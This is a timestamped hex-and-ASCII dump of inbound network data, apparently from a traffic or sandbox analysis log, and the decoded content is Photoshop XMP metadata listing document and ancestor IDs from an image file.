2022-07-20 17:09:02 UTC	9894	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 37 42 45 32 44 45 37 44 32 37 45 44 34 30 31 31 45 43 37 35 43 43 44 45 43 38 30 37 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 42 31 34 33 31 31 36 39 41 41 44 33 32 45 46 42 42 34 45 33 37 41 31 33 36 30 46 37 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 42 43 32 41 33 41 30 34 45 31 31 41 36 37 44 39 45 31 32 36 38 31 45 43 31 36 46 45 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 43 31 34 41 31 41 33 36 45 30 35 43 34 32 41 39 39 35 38 31 44 34 34 38 32 44 39 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 43 35 32 31 32 30 39 39 31 42 32 39 33 39 37 35 31 31 32 41 39 34 45 39 43 32 35 39 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>6F7BE2DE7D27ED4011EC75CCDEC80726</rdf:li> <rdf:li>6FB1431169AAD32EFBB4E37A1360F73E</rdf:li> <rdf:li>6FBC2A3A04E11A67D9E12681EC16FE15</rdf:li> <rdf:li>6FC14A1A36E05C42A99581D4482D936A</rdf:li> <rdf:li>6FC52120991B293975112A94E9C25988</rdf:li> <rd
2022-07-20 17:09:02 UTC	9910	IN	Data Raw: 38 32 35 32 36 33 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 46 30 46 43 41 41 36 30 37 38 39 34 33 36 37 35 35 38 44 30 32 38 35 45 38 41 31 30 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 37 46 43 39 37 32 36 44 43 43 38 39 31 36 32 45 46 33 37 44 35 32 35 39 41 39 31 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 45 43 34 33 43 42 45 43 36 35 36 41 38 46 46 43 36 30 41 41 45 41 30 43 43 41 34 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 30 46 43 37 38 33 38 41 30 35 44 42 41 43 41 30 44 34 33 44 39 46 37 45 44 44 33 45 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 31 31 31 31 34 32 31 38 32 39 43 33 34 30 35 39 34 46 39 31 44 34 31 45 37 42 34 Data Ascii: 8252637E</rdf:li> <rdf:li>7BF0FCAA607894367558D0285E8A103E</rdf:li> <rdf:li>7C07FC9726DCC89162EF37D5259A91FB</rdf:li> <rdf:li>7C0EC43CBEC656A8FFC60AAEA0CCA499</rdf:li> <rdf:li>7C0FC7838A05DBACA0D43D9F7EDD3EBB</rdf:li> <rdf:li>7C1111421829C340594F91D41E7B4
2022-07-20 17:09:02 UTC	9917	IN	Data Raw: 6c 69 3e 38 31 42 30 44 37 43 44 34 34 38 36 45 43 46 39 38 44 46 35 36 32 31 43 45 34 43 45 33 37 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 38 39 38 46 34 34 30 38 44 33 37 33 34 30 34 35 41 34 30 46 38 39 46 46 32 42 39 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 30 44 37 43 43 37 41 33 32 45 41 33 37 33 33 35 35 35 46 38 30 46 44 41 31 36 34 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 41 38 46 33 33 46 35 35 33 37 39 38 44 32 44 35 36 37 45 37 37 41 39 33 42 31 45 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 45 39 39 41 41 41 43 31 41 32 34 42 31 33 33 38 34 43 46 38 44 35 30 44 31 45 44 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 Data Ascii: li>81B0D7CD4486ECF98DF5621CE4CE37D0</rdf:li> <rdf:li>81B898F4408D3734045A40F89FF2B971</rdf:li> <rdf:li>81D0D7CC7A32EA3733555F80FDA1648A</rdf:li> <rdf:li>81DA8F33F553798D2D567E77A93B1ED3</rdf:li> <rdf:li>81DE99AAAC1A24B13384CF8D50D1ED85</rdf:li> <rdf:li>81
2022-07-20 17:09:02 UTC	9933	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 39 42 46 46 37 36 37 46 42 45 30 44 38 43 42 42 36 39 44 33 31 41 32 46 41 41 36 39 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 39 44 44 34 36 33 45 46 33 30 42 34 32 32 39 36 42 34 44 33 41 31 39 44 35 35 35 31 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 41 33 39 33 46 44 39 32 36 35 31 35 31 42 30 42 42 34 43 38 37 33 42 32 39 37 39 33 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 41 43 32 37 35 33 41 41 31 42 41 31 41 36 31 37 34 46 41 39 43 31 44 34 45 44 38 36 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 42 36 46 44 35 39 30 30 42 35 42 42 42 41 32 33 36 43 41 36 31 42 39 38 33 35 31 31 33 41 3c 2f 72 64 Data Ascii: 4</rdf:li> <rdf:li>8B9BFF767FBE0D8CBB69D31A2FAA6960</rdf:li> <rdf:li>8B9DD463EF30B42296B4D3A19D555172</rdf:li> <rdf:li>8BA393FD9265151B0BB4C873B2979372</rdf:li> <rdf:li>8BAC2753AA1BA1A6174FA9C1D4ED8644</rdf:li> <rdf:li>8BB6FD5900B5BBBA236CA61B9835113A</rd
2022-07-20 17:09:02 UTC	9949	IN	Data Raw: 39 37 36 30 33 41 46 38 41 44 39 39 36 39 44 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 30 35 33 35 33 45 30 36 37 34 31 38 39 43 41 39 43 46 41 33 46 45 34 43 42 35 46 37 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 32 45 42 46 35 45 41 32 42 33 32 34 35 35 41 45 45 44 42 32 36 44 39 43 32 46 43 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 35 43 38 46 31 36 43 34 36 30 45 34 44 37 34 31 38 46 30 46 32 42 38 38 38 46 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 39 36 44 33 36 45 34 31 45 39 45 37 31 36 36 43 33 44 39 38 39 43 43 30 31 35 42 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 31 41 43 31 34 42 44 41 35 39 37 37 31 32 33 43 31 36 Data Ascii: 97603AF8AD9969D10</rdf:li> <rdf:li>9805353E0674189CA9CFA3FE4CB5F762</rdf:li> <rdf:li>9812EBF5EA2B32455AEEDB26D9C2FC2F</rdf:li> <rdf:li>9815C8F16C460E4D7418F0F2B888F67D</rdf:li> <rdf:li>98196D36E41E9E7166C3D989CC015B75</rdf:li> <rdf:li>981AC14BDA5977123C16
2022-07-20 17:09:02 UTC	9957	IN	Data Raw: 30 46 31 43 30 33 31 43 34 35 34 43 31 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 37 30 36 37 33 44 43 36 36 37 43 39 37 46 34 46 39 42 37 33 43 32 34 37 36 32 33 38 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 38 31 35 35 32 37 42 31 45 36 30 41 46 38 35 34 46 45 42 36 37 37 30 37 41 32 44 37 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 39 30 46 46 34 39 43 42 30 39 31 46 41 43 44 46 45 30 36 37 41 42 34 30 31 41 36 33 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 41 32 39 30 42 41 32 35 34 31 39 42 38 39 37 33 34 39 37 30 41 39 41 44 34 45 45 34 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 31 46 41 37 34 33 33 34 38 46 34 44 33 43 34 31 45 41 46 Data Ascii: 0F1C031C454C137</rdf:li> <rdf:li>9D70673DC667C97F4F9B73C247623836</rdf:li> <rdf:li>9D815527B1E60AF854FEB67707A2D73A</rdf:li> <rdf:li>9D90FF49CB091FACDFE067AB401A639C</rdf:li> <rdf:li>9DA290BA25419B89734970A9AD4EE44D</rdf:li> <rdf:li>9DB1FA743348F4D3C41EAF
2022-07-20 17:09:02 UTC	9973	IN	Data Raw: 38 37 44 35 31 45 45 36 32 33 44 31 38 41 30 32 41 41 32 34 34 41 39 35 46 42 45 39 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 39 43 30 35 30 30 39 44 36 41 31 38 39 36 45 39 39 33 46 39 32 46 45 45 34 31 37 32 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 41 42 30 36 44 41 30 33 45 32 31 34 39 45 44 36 39 32 32 35 37 43 39 45 35 33 43 39 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 41 44 45 45 45 42 36 33 35 37 36 39 36 37 43 42 31 31 43 32 42 45 35 34 42 35 39 31 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 42 35 37 45 35 45 31 34 32 36 37 39 35 34 34 42 38 34 32 43 37 39 43 46 31 39 37 31 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 42 41 42 30 Data Ascii: 87D51EE623D18A02AA244A95FBE9265</rdf:li> <rdf:li>A89C05009D6A1896E993F92FEE417215</rdf:li> <rdf:li>A8AB06DA03E2149ED692257C9E53C96B</rdf:li> <rdf:li>A8ADEEEB63576967CB11C2BE54B591CD</rdf:li> <rdf:li>A8B57E5E142679544B842C79CF19717B</rdf:li> <rdf:li>A8BAB0
2022-07-20 17:09:02 UTC	9989	IN	Data Raw: 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 37 45 46 41 34 32 46 32 43 43 45 41 35 32 31 42 35 31 30 30 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 31 42 35 46 43 42 34 31 43 45 34 46 36 43 39 37 44 36 31 45 43 39 31 41 46 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 32 43 33 32 42 35 38 41 32 45 34 46 38 45 39 37 37 38 30 30 31 39 35 42 42 45 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 35 44 39 32 30 31 39 46 42 31 30 41 35 38 36 39 32 36 35 32 39 34 45 35 35 30 39 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 37 31 46 41 31 45 32 35 Data Ascii: B9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B4451285497EFA42F2CCEA521B51005C</rdf:li> <rdf:li>B461B5FCB41CE4F6C97D61EC91AFC7EA</rdf:li> <rdf:li>B462C32B58A2E4F8E977800195BBE0D8</rdf:li> <rdf:li>B465D92019FB10A5869265294E550964</rdf:li> <rdf:li>B4671FA1E25
2022-07-20 17:09:02 UTC	9997	IN	Data Raw: 37 38 37 38 33 38 33 30 39 31 33 45 37 36 32 45 45 31 39 30 32 35 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 39 43 34 30 36 31 35 34 36 44 36 36 42 30 31 34 39 33 38 34 37 33 30 33 30 42 39 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 39 45 30 45 33 37 45 32 39 44 42 43 35 37 32 32 31 43 39 32 39 30 45 34 45 42 36 43 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 43 34 31 32 32 41 43 39 39 45 36 38 41 30 38 33 30 38 45 44 33 39 44 45 33 38 41 45 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 44 43 34 41 46 31 39 31 34 32 46 46 38 31 31 39 31 36 39 44 39 30 43 37 36 37 44 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 45 34 32 36 31 46 38 30 41 39 30 Data Ascii: 78783830913E762EE1902547</rdf:li> <rdf:li>B99C4061546D66B014938473030B95AC</rdf:li> <rdf:li>B99E0E37E29DBC57221C9290E4EB6CC1</rdf:li> <rdf:li>B9C4122AC99E68A08308ED39DE38AE43</rdf:li> <rdf:li>B9DC4AF19142FF8119169D90C767DFBC</rdf:li> <rdf:li>B9E4261F80A90
2022-07-20 17:09:02 UTC	10013	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 43 35 41 37 43 44 36 33 44 42 45 43 36 42 46 36 31 38 43 39 46 39 32 33 38 37 41 44 41 43 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 41 44 46 37 34 31 38 45 41 39 38 36 31 42 45 46 33 30 31 32 44 37 43 41 42 46 42 34 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 42 41 33 30 38 32 39 39 37 45 43 39 41 30 46 32 38 41 46 37 35 35 46 32 34 41 31 30 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 43 34 45 37 33 44 42 43 45 32 42 45 36 33 37 34 42 33 31 35 44 36 44 30 41 31 45 36 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 44 30 30 30 31 43 35 36 42 39 44 43 44 43 34 37 44 36 32 39 37 46 33 41 38 38 38 46 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>C5A7CD63DBEC6BF618C9F92387ADACD5</rdf:li> <rdf:li>C5ADF7418EA9861BEF3012D7CABFB4D6</rdf:li> <rdf:li>C5BA3082997EC9A0F28AF755F24A10FD</rdf:li> <rdf:li>C5C4E73DBCE2BE6374B315D6D0A1E6A8</rdf:li> <rdf:li>C5D0001C56B9DCDC47D6297F3A888F0B</rdf:li> <rdf:
2022-07-20 17:09:02 UTC	10029	IN	Data Raw: 32 44 33 30 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 33 33 39 36 41 36 42 30 34 37 42 35 44 45 33 35 35 41 46 31 35 44 43 30 43 33 31 38 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 33 35 35 32 30 37 35 45 45 37 43 39 37 30 37 34 30 34 42 36 45 35 35 44 37 41 35 38 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 34 38 41 43 32 32 33 44 30 43 44 45 32 36 42 33 33 44 35 32 32 45 46 43 43 46 46 38 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 34 41 41 31 34 33 43 37 39 39 41 33 41 33 44 33 30 42 37 35 44 31 44 42 35 38 31 45 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 30 35 39 33 37 37 33 30 42 36 46 36 38 42 45 35 33 36 38 43 31 46 43 35 41 41 43 45 30 41 Data Ascii: 2D3047</rdf:li> <rdf:li>D03396A6B047B5DE355AF15DC0C31806</rdf:li> <rdf:li>D03552075EE7C9707404B6E55D7A5833</rdf:li> <rdf:li>D048AC223D0CDE26B33D522EFCCFF871</rdf:li> <rdf:li>D04AA143C799A3A3D30B75D1DB581E7D</rdf:li> <rdf:li>D05937730B6F68BE5368C1FC5AACE0A
2022-07-20 17:09:02 UTC	10037	IN	Data Raw: 34 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 31 32 38 30 39 44 42 36 43 43 34 32 45 34 41 43 42 31 37 30 45 46 30 39 34 30 38 43 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 33 39 37 31 45 34 35 32 45 35 33 31 38 46 43 41 42 34 31 36 44 35 30 30 30 32 37 43 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 33 45 44 32 35 35 42 34 39 45 31 36 43 46 44 46 42 38 33 46 34 34 34 42 35 45 44 35 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 35 33 41 38 44 37 38 38 45 38 36 42 35 32 36 36 32 32 36 41 31 43 34 41 44 41 30 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 36 35 44 30 32 34 44 41 34 42 41 44 31 37 35 41 43 35 33 32 31 36 44 37 45 37 43 37 34 37 38 3c Data Ascii: 4E9D</rdf:li> <rdf:li>D612809DB6CC42E4ACB170EF09408C24</rdf:li> <rdf:li>D63971E452E5318FCAB416D500027CB7</rdf:li> <rdf:li>D63ED255B49E16CFDFB83F444B5ED52D</rdf:li> <rdf:li>D653A8D788E86B5266226A1C4ADA06C2</rdf:li> <rdf:li>D65D024DA4BAD175AC53216D7E7C7478<
2022-07-20 17:09:02 UTC	10053	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 30 37 31 42 33 45 42 38 42 42 38 33 32 35 41 30 45 30 38 35 36 36 32 44 37 35 30 42 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 30 41 31 44 44 41 35 32 41 30 46 45 45 33 31 35 38 36 33 43 46 46 41 42 43 36 41 31 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 30 45 44 32 35 32 46 42 38 37 38 31 44 44 46 44 30 41 45 43 38 34 39 32 30 35 32 33 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 31 30 41 31 41 38 30 36 36 33 46 44 33 39 43 38 35 30 38 39 39 44 34 41 33 33 34 43 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 31 32 44 45 43 46 34 37 39 31 45 35 37 31 31 33 33 42 46 38 38 37 39 30 38 41 46 46 39 35 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>E2071B3EB8BB8325A0E085662D750B15</rdf:li> <rdf:li>E20A1DDA52A0FEE315863CFFABC6A13C</rdf:li> <rdf:li>E20ED252FB8781DDFD0AEC84920523BA</rdf:li> <rdf:li>E210A1A80663FD39C850899D4A334C36</rdf:li> <rdf:li>E212DECF4791E571133BF887908AFF95</rdf:
2022-07-20 17:09:02 UTC	10069	IN	Data Raw: 39 36 42 42 41 43 34 45 35 43 41 42 39 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 34 32 31 31 41 45 41 39 45 41 35 30 36 32 45 35 41 30 35 43 46 37 39 33 42 46 34 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 34 41 32 32 45 37 31 46 37 45 46 32 41 39 35 36 38 33 35 39 42 31 31 44 45 37 45 30 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 35 32 33 43 37 35 38 35 44 41 44 33 33 42 39 38 31 42 41 30 45 43 31 34 41 35 46 43 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 35 34 36 46 39 38 35 37 43 39 34 41 32 38 30 42 31 32 41 45 30 42 32 39 45 33 44 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 43 35 35 33 45 34 45 32 42 32 31 31 34 31 38 41 46 34 30 45 35 Data Ascii: 96BBAC4E5CAB905</rdf:li> <rdf:li>EC4211AEA9EA5062E5A05CF793BF4B7E</rdf:li> <rdf:li>EC4A22E71F7EF2A9568359B11DE7E0F8</rdf:li> <rdf:li>EC523C7585DAD33B981BA0EC14A5FC77</rdf:li> <rdf:li>EC546F9857C94A280B12AE0B29E3D52E</rdf:li> <rdf:li>EC553E4E2B211418AF40E5
2022-07-20 17:09:02 UTC	10076	IN	Data Raw: 42 37 44 39 37 38 41 44 43 31 31 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 34 30 41 38 39 30 33 38 39 37 35 42 38 30 30 44 41 44 46 37 30 37 42 42 30 37 32 43 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 34 41 34 45 43 37 45 37 37 39 31 37 45 38 44 46 30 34 45 31 41 46 43 46 41 35 31 33 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 35 32 31 45 35 31 39 36 37 44 30 33 36 38 38 39 36 36 42 34 44 39 44 32 31 31 46 39 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 36 31 30 33 30 46 36 45 45 39 39 42 46 43 30 35 41 34 34 33 35 44 34 44 33 33 35 44 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 36 31 32 33 31 39 36 30 45 44 42 38 31 44 31 45 43 44 41 41 36 38 Data Ascii: B7D978ADC118B</rdf:li> <rdf:li>F140A89038975B800DADF707BB072C55</rdf:li> <rdf:li>F14A4EC7E77917E8DF04E1AFCFA5137A</rdf:li> <rdf:li>F1521E51967D03688966B4D9D211F97A</rdf:li> <rdf:li>F161030F6EE99BFC05A4435D4D335D46</rdf:li> <rdf:li>F161231960EDB81D1ECDAA68
2022-07-20 17:09:02 UTC	10092	IN	Data Raw: 33 46 43 33 43 42 46 41 39 41 44 45 32 38 43 37 33 30 45 41 36 36 33 36 42 36 31 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 31 36 31 33 41 43 38 36 46 34 30 31 42 32 30 30 31 35 41 30 34 42 41 31 31 37 39 32 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 31 42 30 33 42 44 38 42 44 46 39 34 39 32 34 35 32 45 34 42 36 41 45 33 39 43 35 31 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 32 38 36 38 38 32 39 45 34 43 44 38 30 39 46 37 34 41 30 30 41 36 42 45 36 43 45 39 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 33 37 36 30 33 41 43 38 31 33 43 39 37 38 45 37 39 34 37 42 44 30 46 35 32 39 45 37 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 35 32 34 44 30 32 Data Ascii: 3FC3CBFA9ADE28C730EA6636B618F</rdf:li> <rdf:li>FC1613AC86F401B20015A04BA11792B5</rdf:li> <rdf:li>FC1B03BD8BDF9492452E4B6AE39C5102</rdf:li> <rdf:li>FC2868829E4CD809F74A00A6BE6CE923</rdf:li> <rdf:li>FC37603AC813C978E7947BD0F529E7DC</rdf:li> <rdf:li>FC524D02
2022-07-20 17:09:02 UTC	10108	IN	Data Raw: 38 2d 30 32 34 38 2d 38 62 31 33 2d 64 65 64 38 66 33 65 64 30 36 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 38 65 62 35 31 34 2d 64 64 39 33 2d 31 31 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 61 66 65 36 35 35 2d 36 66 64 65 2d 31 31 64 62 2d 39 33 31 34 2d 38 64 61 ff e1 ff c5 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 35 36 39 44 41 43 32 38 46 39 37 41 44 39 38 43 31 31 30 41 31 38 44 33 38 43 42 41 41 31 41 46 00 11 87 5c 00 09 fa b0 65 65 38 32 31 33 38 37 36 Data Ascii: 8-0248-8b13-ded8f3ed06dd</rdf:li> <rdf:li>adobe:docid:photoshop:218eb514-dd93-1177-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:21afe655-6fde-11db-9314-8dahttp://ns.adobe.com/xmp/extension/569DAC28F97AD98C110A18D38CBAA1AF\ee8213876
2022-07-20 17:09:02 UTC	10116	IN	Data Raw: 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 38 37 62 61 63 36 2d 31 66 31 39 2d 31 31 65 38 2d 61 34 63 64 2d 64 61 65 35 65 32 36 38 31 61 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 38 62 33 33 61 37 2d 30 39 63 38 2d 61 64 34 61 2d 62 36 61 61 2d 32 64 30 39 32 61 36 61 35 33 64 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 61 37 65 35 61 37 2d 64 65 36 31 2d 31 31 64 39 2d 62 34 65 66 2d 38 36 33 31 31 37 64 31 34 34 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 62 63 35 64 33 31 Data Ascii: be:docid:photoshop:3887bac6-1f19-11e8-a4cd-dae5e2681ac6</rdf:li> <rdf:li>adobe:docid:photoshop:388b33a7-09c8-ad4a-b6aa-2d092a6a53d0</rdf:li> <rdf:li>adobe:docid:photoshop:38a7e5a7-de61-11d9-b4ef-863117d144c0</rdf:li> <rdf:li>adobe:docid:photoshop:38bc5d31
2022-07-20 17:09:02 UTC	10132	IN	Data Raw: 34 64 33 37 32 34 37 31 65 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 30 33 30 65 37 39 2d 65 39 31 33 2d 31 31 65 30 2d 61 32 37 66 2d 61 63 34 31 65 63 30 38 64 34 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 31 39 62 33 62 64 2d 66 33 31 38 2d 31 31 37 39 2d 38 61 36 37 2d 61 32 31 66 37 32 34 64 39 63 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 33 38 36 39 65 65 31 2d 37 66 64 65 2d 31 31 65 31 2d 39 32 64 34 2d 63 34 35 61 37 65 37 39 32 66 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: 4d372471ef3</rdf:li> <rdf:li>adobe:docid:photoshop:63030e79-e913-11e0-a27f-ac41ec08d486</rdf:li> <rdf:li>adobe:docid:photoshop:6319b3bd-f318-1179-8a67-a21f724d9c99</rdf:li> <rdf:li>adobe:docid:photoshop:63869ee1-7fde-11e1-92d4-c45a7e792fc4</rdf:li> <rdf:l
